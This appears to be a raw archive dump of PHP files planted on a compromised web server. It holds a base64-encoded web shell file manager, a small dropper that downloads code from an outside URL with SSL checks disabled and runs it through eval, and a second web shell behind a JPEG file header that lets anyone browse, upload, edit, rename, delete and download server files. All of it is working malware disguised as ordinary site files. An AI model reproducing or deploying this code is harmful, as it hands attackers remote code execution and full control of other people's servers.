JzwvbGk+CgkJPGxpPlNvZnR3YXJlIDogJy4kX1NFUlZFUlsiU0VSVkVSX1NPRlRXQVJFIl0uJzwv
bGk+CgkJPGxpPkRva3VtZW4gUm9vdCA6ICcuJF9TRVJWRVJbIkRPQ1VNRU5UX1JPT1QiXS4nPC9s
aT4KCQk8bGk+Ry1JbnRlcmZhY2UgOiAnLiRfU0VSVkVSWyJHQVRFV0FZX0lOVEVSRkFDRSJdLic8
L2xpPgoJCTxsaT5SLU1ldGhvZCA6ICcuJF9TRVJWRVJbIlJFUVVFU1RfTUVUSE9EIl0uJzwvbGk+
CgkJPGxpPllvdXIgQnJvd3NlciA6ICcuJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdLic8L2xp
PgoJCTwvZGl2Pic7Cn1lbHNlIGlmKGlzc2V0KCRfRklMRVNbJ2ZpbGUnXSkpewppZihjb3B5KCRf
RklMRVNbJ2ZpbGUnXVsndG1wX25hbWUnXSwkcGF0aC4nLycuJF9GSUxFU1snZmlsZSddWyduYW1l
J10pKXsKZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFs
ZXJ0KCfgpK7gpL7gpKjgpY3gpK8hIScpPC9zY3JpcHQ+IjsKfWVsc2V7CmVjaG8gIjxzY3JpcHQ+
YWxlcnQoJ+CkheCkqOClgeCkpOCljeCkpOClgOCksOCljeCko+CkgyBVcGxvYWQnKTwvc2NyaXB0
PiI7Cn0KfWVsc2UgaWYoaXNzZXQoJF9HRVRbJ2ZpbGVzcmMnXSkpewplY2hvICI8dHI+PHRkPkN1
cnJlbnQgRmlsZSA6ICI7CmVjaG8gJF9HRVRbJ2ZpbGVzcmMnXTsKZWNobyAnPC90cj48L3RkPjwv
dGFibGU+PGJyIC8+JzsKZWNobygnPHByZT4nLmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29u
dGVudHMoJF9HRVRbJ2ZpbGVzcmMnXSkpLic8L3ByZT4nKTsKfWVsc2UgaWYoaXNzZXQoJF9HRVRb
J29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddICE9ICdkZWxldGUnKXsKZWNobyAnPC90YWJsZT48
YnIgLz48Y2VudGVyPicuJF9QT1NUWydwYXRoJ10uJzxiciAvPjxiciAvPic7CmlmKCRfUE9TVFsn
b3B0J10gPT0gJ2NobW9kJyl7CmlmKGlzc2V0KCRfUE9TVFsncGVybSddKSl7CmlmKGNobW9kKCRf
UE9TVFsncGF0aCddLCRfUE9TVFsncGVybSddKSl7CmVjaG8gIjxzY3JpcHQ+d2luZG93LmxvY2F0
aW9uPSc/cGF0aD0iLiRwYXRoLiInOyBhbGVydCgnU3Vrc2VzJyk8L3NjcmlwdD4iOwp9ZWxzZXsK
ZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfg
pIXgpKjgpYHgpKTgpY3gpKTgpYDgpLDgpY3gpKPgpIMhISEnKTwvc2NyaXB0PiI7Cn0KfQplY2hv
ICc8Zm9ybSBtZXRob2Q9IlBPU1QiPgoJPGRpdiBjbGFzcz0icm93Ij4KCQk8ZGl2IGNsYXNzPSJj
b2wiPgo8aW5wdXQgbmFtZT0icGVybSIgdHlwZT0idGV4dCIgc2l6ZT0iNCIgdmFsdWU9Iicuc3Vi
c3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRfUE9TVFsncGF0aCddKSksIC00KS4nIiBjbGFz
cz0iZm9ybS1jb250cm9sIj4KCTwvZGl2Pgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJwYXRo
IiB2YWx1ZT0iJy4kX1BPU1RbJ3BhdGgnXS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0i
b3B0IiB2YWx1ZT0iY2htb2QiPgoJPGRpdiBjbGFzcz0iY29sIj4KPGlucHV0IHR5cGU9InN1Ym1p
dCIgdmFsdWU9IkdvIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLWJsb2NrIj4K
CTwvZGl2PgoJPC9kaXY+CjwvZm9ybT4nOwp9ZWxzZSBpZigkX1BPU1RbJ29wdCddID09ICdyZW5h
bWUnKXsKaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsKaWYocmVuYW1lKCRfUE9TVFsncGF0
aCddLCRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpewplY2hvICI8c2NyaXB0PndpbmRvdy5s
b2NhdGlvbj0nP3BhdGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkqOCkvuCkriDgpKzgpKbgpLIg4KSm
4KS/4KSv4KS+IOCkl+Ckr+CkviDgpLngpYghJyk8L3NjcmlwdD4iOwp9ZWxzZXsKZWNobyAiPHNj
cmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfgpIXgpKjgpYHg
pKTgpY3gpKTgpYDgpLDgpY3gpKPgpIMhISEnKTwvc2NyaXB0PiI7Cn0KJF9QT1NUWyduYW1lJ10g
PSAkX1BPU1RbJ25ld25hbWUnXTsKfQplY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPgoJPGRpdiBj
bGFzcz0icm93Ij4KCQk8ZGl2IGNsYXNzPSJjb2wiPgo8aW5wdXQgbmFtZT0ibmV3bmFtZSIgdHlw
ZT0idGV4dCIgc2l6ZT0iMjAiIHZhbHVlPSInLiRfUE9TVFsnbmFtZSddLiciIGNsYXNzPSJmb3Jt
LWNvbnRyb2wiIHBsYWNlaG9sZGVyPSJOYW1hIEJhcnUiPgoJPC9kaXY+CjxpbnB1dCB0eXBlPSJo
aWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgo8aW5wdXQgdHlw
ZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJyZW5hbWUiPgoJPGRpdiBjbGFzcz0iY29sIj4K
PGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkdvIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5lLXBy
aW1hcnkgYnRuLWJsb2NrIj4KPC9kaXY+CjwvZGl2Pgo8L2Zvcm0+JzsKfWVsc2UgaWYoJF9QT1NU
WydvcHQnXSA9PSAnZWRpdCcpewppZihpc3NldCgkX1BPU1RbJ3NyYyddKSl7CiRmcCA9IGZvcGVu
KCRfUE9TVFsncGF0aCddLCd3Jyk7CmlmKGZ3cml0ZSgkZnAsJF9QT1NUWydzcmMnXSkpewplY2hv
ICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0nP3BhdGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkuOCk
q+CksuCkpOCkr+CkviDgpKjgpL7gpK4g4KSq4KSw4KS/4KS14KSw4KWN4KSk4KS/4KSk4KSu4KWN
IEZpbGUnKTwvc2NyaXB0PiI7Cn1lbHNlewplY2hvICI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbj0n
P3BhdGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkheCkqOClgeCkpOCljeCkpOClgOCksOCljeCko+Ck
gyEhIScpPC9zY3JpcHQ+IjsKfQpmY2xvc2UoJGZwKTsKfQplY2hvICc8Zm9ybSBtZXRob2Q9IlBP
U1QiPgo8dGV4dGFyZWEgY2xhc3M9ImZvcm0tY29udHJvbCIgcm93cz0iOCIgbmFtZT0ic3JjIj4n
Lmh0bWxzcGVjaWFsY2hhcnMoZmlsZV9nZXRfY29udGVudHMoJF9QT1NUWydwYXRoJ10pKS4nPC90
ZXh0YXJlYT4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJF9QT1NU
WydwYXRoJ10uJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImVkaXQi
Pgo8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0i4KSw4KSV4KWN4KS34KWNIiBjbGFzcz0iYnRu
IGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLWJsb2NrIG10LTMiPgo8L2Zvcm0+JzsKfQplY2hvICc8
L2NlbnRlcj4nOwp9ZWxzZXsKZWNobyAnPC90YWJsZT48YnIvPjxjZW50ZXI+JzsKaWYoaXNzZXQo
JF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddID09ICdkZWxldGUnKXsKaWYoJF9QT1NU
Wyd0eXBlJ10gPT0gJ2RpcicpewppZihybWRpcigkX1BPU1RbJ3BhdGgnXSkpewplY2hvICI8c2Ny
aXB0PndpbmRvdy5sb2NhdGlvbj0nP3BhdGg9Ii4kcGF0aC4iJzsgYWxlcnQoJ+CkuOCkq+CksiBE
ZWxldGUgRm9sZGVyJyk8L3NjcmlwdD4iOwp9ZWxzZXsKZWNobyAiPHNjcmlwdD53aW5kb3cubG9j
YXRpb249Jz9wYXRoPSIuJHBhdGguIic7IGFsZXJ0KCfgpIXgpKjgpYHgpKTgpY3gpKTgpYDgpLDg
pY3gpKPgpIMhISEnKTwvc2NyaXB0PiI7Cn0KfWVsc2UgaWYoJF9QT1NUWyd0eXBlJ10gPT0gJ2Zp
bGUnKXsKaWYodW5saW5rKCRfUE9TVFsncGF0aCddKSl7CmVjaG8gIjxzY3JpcHQ+d2luZG93Lmxv
Y2F0aW9uPSc/cGF0aD0iLiRwYXRoLiInOyBhbGVydCgn4KS44KSr4KSyIERlbGV0ZSBGaWxlJyk8
L3NjcmlwdD4iOwp9ZWxzZXsKZWNobyAiPHNjcmlwdD53aW5kb3cubG9jYXRpb249Jz9wYXRoPSIu
JHBhdGguIic7IGFsZXJ0KCfgpIXgpKjgpYHgpKTgpY3gpKTgpYDgpLDgpY3gpKPgpIMhISEnKTwv
c2NyaXB0PiI7Cn0KfQp9CmVjaG8gJzwvY2VudGVyPic7CiRzY2FuZGlyID0gc2NhbmRpcigkcGF0
aCk7CmVjaG8gJwo8ZGl2IGNsYXNzPSJ0YWJsZS1yZXNwb25zaXZlLWxnIG10LTIiPgoJPHRhYmxl
IGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI+CgkJPHRoZWFkIGNsYXNzPSJiZy13YXJuaW5nIHRl
eHQtY2VudGVyIj4KCQkJPHRyPgoJCQkJPHRoIHNjb3BlPSJjb2wiPuCkqOCkvuCkruCkgzwvdGg+
CgkJCQk8dGggc2NvcGU9ImNvbCI+4KSq4KWN4KSw4KSV4KS+4KSw4KSDPC90aD4KCQkJCTx0aCBz
Y29wZT0iY29sIj7gpIbgpJXgpYPgpKTgpL88L3RoPgoJCQkJPHRoIHNjb3BlPSJjb2wiPuCkheCk
qOClgeCknOCljeCknuCkvuCkquCkpOCljeCksOCkruCljTwvdGg+CgkJCQk8dGggc2NvcGU9ImNv
bCI+4KSo4KS+4KSu4KSq4KSk4KWN4KSwPC90aD48L3RyPjwvdGhlYWQ+CgknOwoJZm9yZWFjaCgk
c2NhbmRpciBhcyAkZGlyKXsKaWYoIWlzX2RpcigkcGF0aC4nLycuJGRpcikgfHwgJGRpciA9PSAn
LicgfHwgJGRpciA9PSAnLi4nKSBjb250aW51ZTsKZWNobyAnPHRyPgo8dGQgc2NvcGU9ImNvbCI+
PGltZyBzcmM9Imh0dHA6Ly9hdXguaWNvbnNwYWxhY2UuY29tL3VwbG9hZHMvZm9sZGVyLWljb24t
MjU2LTE3ODc2NzI0ODIucG5nIiBjbGFzcz0iaWNvIj4gPGEgaHJlZj0iP3BhdGg9Jy4kcGF0aC4n
LycuJGRpci4nIj4nLiRkaXIuJzwvYT48L3RkPgo8dGQgY2xhc3M9InRleHQtY2VudGVyIj5Gb2xk
ZXI8L3RkPgo8dGQgY2xhc3M9InRleHQtY2VudGVyIj4tLTwvdGQ+Cjx0ZCBjbGFzcz0idGV4dC1j
ZW50ZXIiPic7CmlmKGlzX3dyaXRhYmxlKCRwYXRoLicvJy4kZGlyKSkgZWNobyAnPGZvbnQgY29s
b3I9ImdyZWVuIj4nOwplbHNlaWYoIWlzX3JlYWRhYmxlKCRwYXRoLicvJy4kZGlyKSkgZWNobyAn
PGZvbnQgY29sb3I9InJlZCI+JzsKZWNobyBwZXJtcygkcGF0aC4nLycuJGRpcik7CmlmKGlzX3dy
aXRhYmxlKCRwYXRoLicvJy4kZGlyKSB8fCAhaXNfcmVhZGFibGUoJHBhdGguJy8nLiRkaXIpKSBl
Y2hvICc8L2ZvbnQ+JzsKCmVjaG8gJzwvdGQ+Cjx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPjxmb3Jt
IG1ldGhvZD0iUE9TVCIgYWN0aW9uPSI/b3B0aW9uJnBhdGg9Jy4kcGF0aC4nIj4KCTxkaXYgY2xh
c3M9InJvdyI+CgkJPGRpdiBjbGFzcz0iY29sIj4KPHNlbGVjdCBuYW1lPSJvcHQiIGNsYXNzPSJj
dXN0b20tc2VsZWN0Ij4KPG9wdGlvbiB2YWx1ZT0iIj5TZWxlY3Q8L29wdGlvbj4KPG9wdGlvbiB2
YWx1ZT0iZGVsZXRlIj5EZWxldGU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iY2htb2QiPkNobW9k
PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9InJlbmFtZSI+UmVuYW1lPC9vcHRpb24+Cjwvc2VsZWN0
Pgo8L2Rpdj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0idHlwZSIgdmFsdWU9ImRpciI+Cjxp
bnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im5hbWUiIHZhbHVlPSInLiRkaXIuJyI+CjxpbnB1dCB0
eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRwYXRoLicvJy4kZGlyLiciPgoJPGRp
diBjbGFzcz0iY29sIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ij4iIGNsYXNzPSJidG4g
YnRuLW91dGxpbmUtcHJpbWFyeSBidG4tYmxvY2siPgoJPC9kaXY+Cgk8L2Rpdj4KPC9mb3JtPjwv
dGQ+CjwvdHI+JzsKfQpmb3JlYWNoKCRzY2FuZGlyIGFzICRmaWxlKXsKaWYoIWlzX2ZpbGUoJHBh
dGguJy8nLiRmaWxlKSkgY29udGludWU7CiRzaXplID0gZmlsZXNpemUoJHBhdGguJy8nLiRmaWxl
KS8xMDI0Owokc2l6ZSA9IHJvdW5kKCRzaXplLDMpOwppZigkc2l6ZSA+PSAxMDI0KXsKJHNpemUg
PSByb3VuZCgkc2l6ZS8xMDI0LDIpLicgTUInOwp9ZWxzZXsKJHNpemUgPSAkc2l6ZS4nIEtCJzsK
fQoKZWNobyAnPHRyPgo8dGQ+PGltZyBzcmM9Iic7CgkJCQkJJGV4dCA9IHN0cnRvbG93ZXIocGF0
aGluZm8oJGZpbGUsIFBBVEhJTkZPX0VYVEVOU0lPTikpOwoJCQkJCWlmKCRleHQgPT0gInBocCIp
IHsKCQkJCQkJZWNobwkKCQkJJ2h0dHA6Ly9pLmltZ3VyLmNvbS9lOG1rdlBmLnBuZyInOyAKCQkJ
CQl9ZWxzZWlmICgkZXh0ID09ICJqcGVnIikgewoJCQkJCQllY2hvICdodHRwOi8vaS5pbWd1ci5j
b20vZThta3ZQZi5wbmciJzsgCgkJCQkJfWVsc2VpZiAoJGV4dCA9PSAicGwiKSB7CgkJCQkJCWVj
aG8gJ2h0dHA6Ly9pLmltZ3VyLmNvbS9Qbm1YOEg5LnBuZyc7IAoJCQkJCX1lbHNlewoJCQkJCQll
Y2hvICdodHRwOi8vaWNvbnMuaWNvbmFyY2hpdmUuY29tL2ljb25zL3pob29sZWdvL21hdGVyaWFs
LzI1Ni9GaWxldHlwZS1Eb2NzLWljb24ucG5nJzsKCQkJCQl9CgkJCQkJZWNobyAnIiBjbGFzcz0i
aWNvMiI+IDxhIGhyZWY9Ij9maWxlc3JjPScuJHBhdGguJy8nLiRmaWxlLicmcGF0aD0nLiRwYXRo
LiciPicuJGZpbGUuJzwvYT48L3RkPgo8dGQgY2xhc3M9InRleHQtY2VudGVyIj5GaWxlPC90ZD4K
PHRkIGNsYXNzPSJ0ZXh0LWNlbnRlciI+Jy4kc2l6ZS4nPC90ZD4KPHRkIGNsYXNzPSJ0ZXh0LWNl
bnRlciI+JzsKaWYoaXNfd3JpdGFibGUoJHBhdGguJy8nLiRmaWxlKSkgZWNobyAnPGZvbnQgY29s
b3I9ImdyZWVuIj4nOwplbHNlaWYoIWlzX3JlYWRhYmxlKCRwYXRoLicvJy4kZmlsZSkpIGVjaG8g
Jzxmb250IGNvbG9yPSJyZWQiPic7CmVjaG8gcGVybXMoJHBhdGguJy8nLiRmaWxlKTsKaWYoaXNf
d3JpdGFibGUoJHBhdGguJy8nLiRmaWxlKSB8fCAhaXNfcmVhZGFibGUoJHBhdGguJy8nLiRmaWxl
KSkgZWNobyAnPC9mb250Pic7CmVjaG8gJzwvdGQ+Cjx0ZCBjbGFzcz0idGV4dC1jZW50ZXIiPgoJ
PGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249Ij9vcHRpb24mcGF0aD0nLiRwYXRoLiciPgoJCTxk
aXYgY2xhc3M9InJvdyI+CgkJCTxkaXYgY2xhc3M9ImNvbCI+CjxzZWxlY3QgbmFtZT0ib3B0IiBj
bGFzcz0iY3VzdG9tLXNlbGVjdCI+CjxvcHRpb24gdmFsdWU9IiI+U2VsZWN0PC9vcHRpb24+Cjxv
cHRpb24gdmFsdWU9ImRlbGV0ZSI+RGVsZXRlPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9ImNobW9k
Ij5DaG1vZDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSJyZW5hbWUiPlJlbmFtZTwvb3B0aW9uPgo8
b3B0aW9uIHZhbHVlPSJlZGl0Ij5FZGl0PC9vcHRpb24+Cjwvc2VsZWN0Pgo8L2Rpdj4KPGlucHV0
IHR5cGU9ImhpZGRlbiIgbmFtZT0idHlwZSIgdmFsdWU9ImZpbGUiPgo8aW5wdXQgdHlwZT0iaGlk
ZGVuIiBuYW1lPSJuYW1lIiB2YWx1ZT0iJy4kZmlsZS4nIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIg
bmFtZT0icGF0aCIgdmFsdWU9IicuJHBhdGguJy8nLiRmaWxlLiciPgoJPGRpdiBjbGFzcz0iY29s
Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9Ik9LIiBjbGFzcz0iYnRuIGJ0bi1vdXRsaW5l
LXByaW1hcnkgYnRuLWJsb2NrIj4KCTwvZGl2PgoJPC9kaXY+CjwvZm9ybT48L3RkPgo8L3RyPic7
Cn0KZWNobyAnPC90YWJsZT4KPC9kaXY+JzsKfQo/PiAgICAgICAgICAKICAgICAgPC9kaXY+CiAg
ICA8L2Rpdj4KICA8L2Rpdj4KICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9jb2RlLmpxdWVyeS5jb20v
anF1ZXJ5LTMuMy4xLnNsaW0ubWluLmpzIiBpbnRlZ3JpdHk9InNoYTM4NC1xOGkvWCs5NjVEek8w
clQ3YWJLNDFKU3RRSUFxVmdSVnpwYnpvNXNtWEtwNFlmUnZIKzhhYnRURTFQaTZqaXpvIiBjcm9z
c29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nk
bmpzLmNsb3VkZmxhcmUuY29tL2FqYXgvbGlicy9wb3BwZXIuanMvMS4xNC4zL3VtZC9wb3BwZXIu
bWluLmpzIiBpbnRlZ3JpdHk9InNoYTM4NC1aTVA3clZvM21JeWtWKzIrOUozVUo0NmpCazBXTGFV
QWRuNjg5YUN3b3FiQkppU25qQUsvbDhXdkNXUElQbTQ5IiBjcm9zc29yaWdpbj0iYW5vbnltb3Vz
Ij48L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL3N0YWNrcGF0aC5ib290c3RyYXBj
ZG4uY29tL2Jvb3RzdHJhcC80LjEuMy9qcy9ib290c3RyYXAubWluLmpzIiBpbnRlZ3JpdHk9InNo
YTM4NC1DaGZxcXh1WlVDbkpTSzMrTVhtUE5JeUU2WmJXaDJJTXFFMjQxcllpcUp4eU1pWjZPVy9K
bVpRNXN0d0VVTFR5IiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4KICA8c2NyaXB0
PgogICAgJCgiI21lbnUtdG9nZ2xlIikuY2xpY2soZnVuY3Rpb24oZSkgewogICAgICBlLnByZXZl
bnREZWZhdWx0KCk7CiAgICAgICQoIiN3cmFwcGVyIikudG9nZ2xlQ2xhc3MoInRvZ2dsZWQiKTsK
ICAgIH0pOwogIDwvc2NyaXB0PgoKPC9ib2R5Pgo8L2h0bWw+Cjw/cGhwCmZ1bmN0aW9uIHBlcm1z
KCRmaWxlKXsKJHBlcm1zID0gZmlsZXBlcm1zKCRmaWxlKTsKCmlmICgoJHBlcm1zICYgMHhDMDAw
KSA9PSAweEMwMDApIHsKLy8gU29ja2V0CiRpbmZvID0gJ3MnOwp9IGVsc2VpZiAoKCRwZXJtcyAm
IDB4QTAwMCkgPT0gMHhBMDAwKSB7Ci8vIFN5bWJvbGljIExpbmsKJGluZm8gPSAnbCc7Cn0gZWxz
ZWlmICgoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApIHsKLy8gUmVndWxhcgokaW5mbyA9ICct
JzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgewovLyBCbG9jayBzcGVj
aWFsCiRpbmZvID0gJ2InOwp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7
Ci8vIERpcmVjdG9yeQokaW5mbyA9ICdkJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09
IDB4MjAwMCkgewovLyBDaGFyYWN0ZXIgc3BlY2lhbAokaW5mbyA9ICdjJzsKfSBlbHNlaWYgKCgk
cGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgewovLyBGSUZPIHBpcGUKJGluZm8gPSAncCc7Cn0g
ZWxzZSB7Ci8vIFVua25vd24KJGluZm8gPSAndSc7Cn0KCi8vIE93bmVyCiRpbmZvIC49ICgoJHBl
cm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDgwKSA/
ICd3JyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDQwKSA/CigoJHBlcm1zICYgMHgw
ODAwKSA/ICdzJyA6ICd4JyApIDoKKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7Cgov
LyBHcm91cAokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwokaW5mbyAu
PSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4
MDAwOCkgPwooKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6CigoJHBlcm1zICYgMHgw
NDAwKSA/ICdTJyA6ICctJykpOwoKLy8gV29ybGQKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQp
ID8gJ3InIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsK
JGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8KKCgkcGVybXMgJiAweDAyMDApID8gJ3QnIDog
J3gnICkgOgooKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsKCnJldHVybiAkaW5mbzsK
fQo/Pg=="));?>2zj6q.php000064400000001260151550217160006233 0ustar00
<?php

$url = 'https://stepmomhub.com/3.txt';

// Inisialisasi cURL
$ch = curl_init();

// Set opsi cURL
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);  // Nonaktifkan verifikasi SSL jika perlu
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);  // Nonaktifkan verifikasi SSL jika perlu
// Eksekusi cURL dan ambil hasilnya

$code = curl_exec($ch);

// Cek apakah cURL berhasil
if($code === false) {
    echo "Gagal mengambil data dari URL: " . curl_error($ch);
} else {
    // Jalankan kode yang diambil
    eval('?>' . $code);
}

// Tutup sesi cURL
curl_close($ch);
?>3wfnp.php000064400000063526151550217160006331 0ustar00ÿØÿÛ C 

<!DOCTYPE html>
<html lang="bn">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>iamH4CKEERRRRRRRRRRRS</title>
    <style>
        body {
            font-family: Arial, sans-serif;
            background-color: #000;
            color: #00d1b2;
            margin: 10px;
        }
        .container {
            max-width: 1100px;
            margin: 0 auto;
            background-color: #1a1a1a;
            padding: 20px;
            border-radius: 81px;
            box-shadow: 0 0 110px rgba(0, 209, 178, 0.6);
        }
        table {
            width:100%;
            border-collapse: collapse;
        }
        table, th, td {
            border: 1px solid #ff00e6;
        }
        th, td {
            padding: 10px;
            text-align: center;
            color: #fff;
        }
        th {
            background-color: #00d1b2;
            color: #000;
        }
        .file-actions {
            display: flex;
            justify-content: space-evenly;
            align-items: center;
            gap: 4px;
        }
        .file-actions button, .file-actions a {
            background-color: #00d1b2;
            color: #000;
            border: none;
            padding: 8px 12px;
            cursor: pointer;
            border-radius: 6px;
            font-size: 14px;
            display: flex;
            justify-content: center;
            align-items: center;
        }
        .file-actions a {
            text-decoration: none;
            color: #000;
        }
        .file-actions button:hover, .file-actions a:hover {
            background-color: #00ffda;
        }
        .icon {
            font-size: 18px;
        }
        input[type="text"] {
            width: 100px;
            padding: 10px;
            font-size: 14px;
            border: 1px solid #00d1b2;
            background-color: #1a1a1a;
            color: #fff;
            border-radius: 4px;
        }
        .path-input {
            width: 100%;
            padding: 8px;
            margin-bottom: 20px;
            font-size: 14px;
            background-color: #bf1111;
            color: #00d1b2;
            border: 1px solid #00d1b2;
            border-radius: 4px;
        }
    </style>
    <!-- Font Awesome CDN -->
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0-beta3/css/all.min.css">
</head>
<body>
    <div class="container">
        <h1 style="font-size: 18px; text-align: center;">I am a hacker in the dark of a very cold night</h1>

        <!-- ??????? ??? ?????? -->
        <h3 style="font-size: 15px;">path :<?php echo getcwd(); ?></h3>

        <!-- ?????????? ??? ???? ??????????? ????? -->
        <form method="GET">
            <input class="path-input" type="text" name="dir" placeholder="User Guide..." value="<?php echo isset($_GET['dir']) ? $_GET['dir'] : getcwd(); ?>">
            <button type="submit" name="go_to_dir"><i class="fas fa-folder-open icon"></i>change directory</button>
        </form>
<h3 style="font-size: 14px;">upload file:</h3>
        <form method="POST" enctype="multipart/form-data">
            <input type="file" name="fileToUpload">
            <button type="submit" name="upload"><i class="fas fa-upload icon"></i> upload</button>
        </form>
	

      
    </div>
        <h3 style="font-size: 14px;"><font color="white">List of files:</h3>
        <table>
            <tr>
                <th>name file</th>
                <th>size</th>
                <th>edit</th>
                <th>permission</th>
                <th>action</th>
            </tr>
            <?php
			 // ???? ???? ???? ???
    if (isset($_GET['edit'])) {
        $file_to_edit = $_GET['edit'];
        if (file_exists($file_to_edit)) {
            $file_content = file_get_contents($file_to_edit);
            echo '<div class="container">';
            echo '<h3>Edit the file: ' . basename($file_to_edit) . '</h3>';
            echo '<form method="POST">';
            echo '<textarea name="edited_content" rows="15" style="width: 100%;">' . htmlspecialchars($file_content) . '</textarea>';
            echo '<br><button type="submit" name="save_edits"><i class="fas fa-save icon"></i> save</button>';
            echo '</form>';
            echo '</div>';
        } else {
            echo "<script>alert('file not found!');window.location.href='';</script>";
        }
    }

    // ?????? ???? ??? ???? ???
    if (isset($_POST['save_edits'])) {
        $edited_content = $_POST['edited_content'];
        $file_to_edit = $_GET['edit'];
        if (file_exists($file_to_edit)) {
            file_put_contents($file_to_edit, $edited_content);
            echo "<script>alert('file saved successfully!');window.location.href='';</script>";
        } else {
            echo "<script>alert('file not found!');window.location.href='';</script>";
        }
    }

            $current_dir = isset($_GET['dir']) ? $_GET['dir'] : getcwd(); // ??????? ?????????
            if (!is_dir($current_dir)) {
                $current_dir = getcwd(); // ??? ????????? ?? ??, ??? ?????? ??????? ??????????? ?????????? ??? ???
            }
            $files = scandir($current_dir); // ?????????? ?? ???? ??? ???
            foreach ($files as $file) {
                if ($file !== '.' && $file !== '..') {
                    $full_path = $current_dir . '/' . $file;
                    $is_dir = is_dir($full_path);
                    echo "<tr>";
                    echo "<td>" . ($is_dir ? "<a href='?dir=" . urlencode($full_path) . "'>" . $file . "</a>" : $file) . "</td>";
                    echo "<td>" . ($is_dir ? '-' : filesize($full_path) . " KB") . "</td>";
                    echo "<td>" . date("F d Y H:i:s", filemtime($full_path)) . "</td>";
                    echo "<td>" . substr(sprintf('%o', fileperms($full_path)), -4) . "</td>"; // ??????? ?????
                    echo "<td class='file-actions'>
                        <a href='?edit=$full_path' title='edit'><i class='fas fa-edit icon'></i></a>
                        <form method='POST' style='display:inline;'>
                            <input type='hidden' name='filename' value='$file'>
                            <button type='submit' name='delete' title='delete'><i class='fas fa-trash icon'></i></button>
                        </form>
                        <a href='?download=$full_path' title='download'><i class='fas fa-download icon'></i></a>
                        <form method='POST' style='display:inline;'>
                            <input type='hidden' name='oldname' value='$file'>
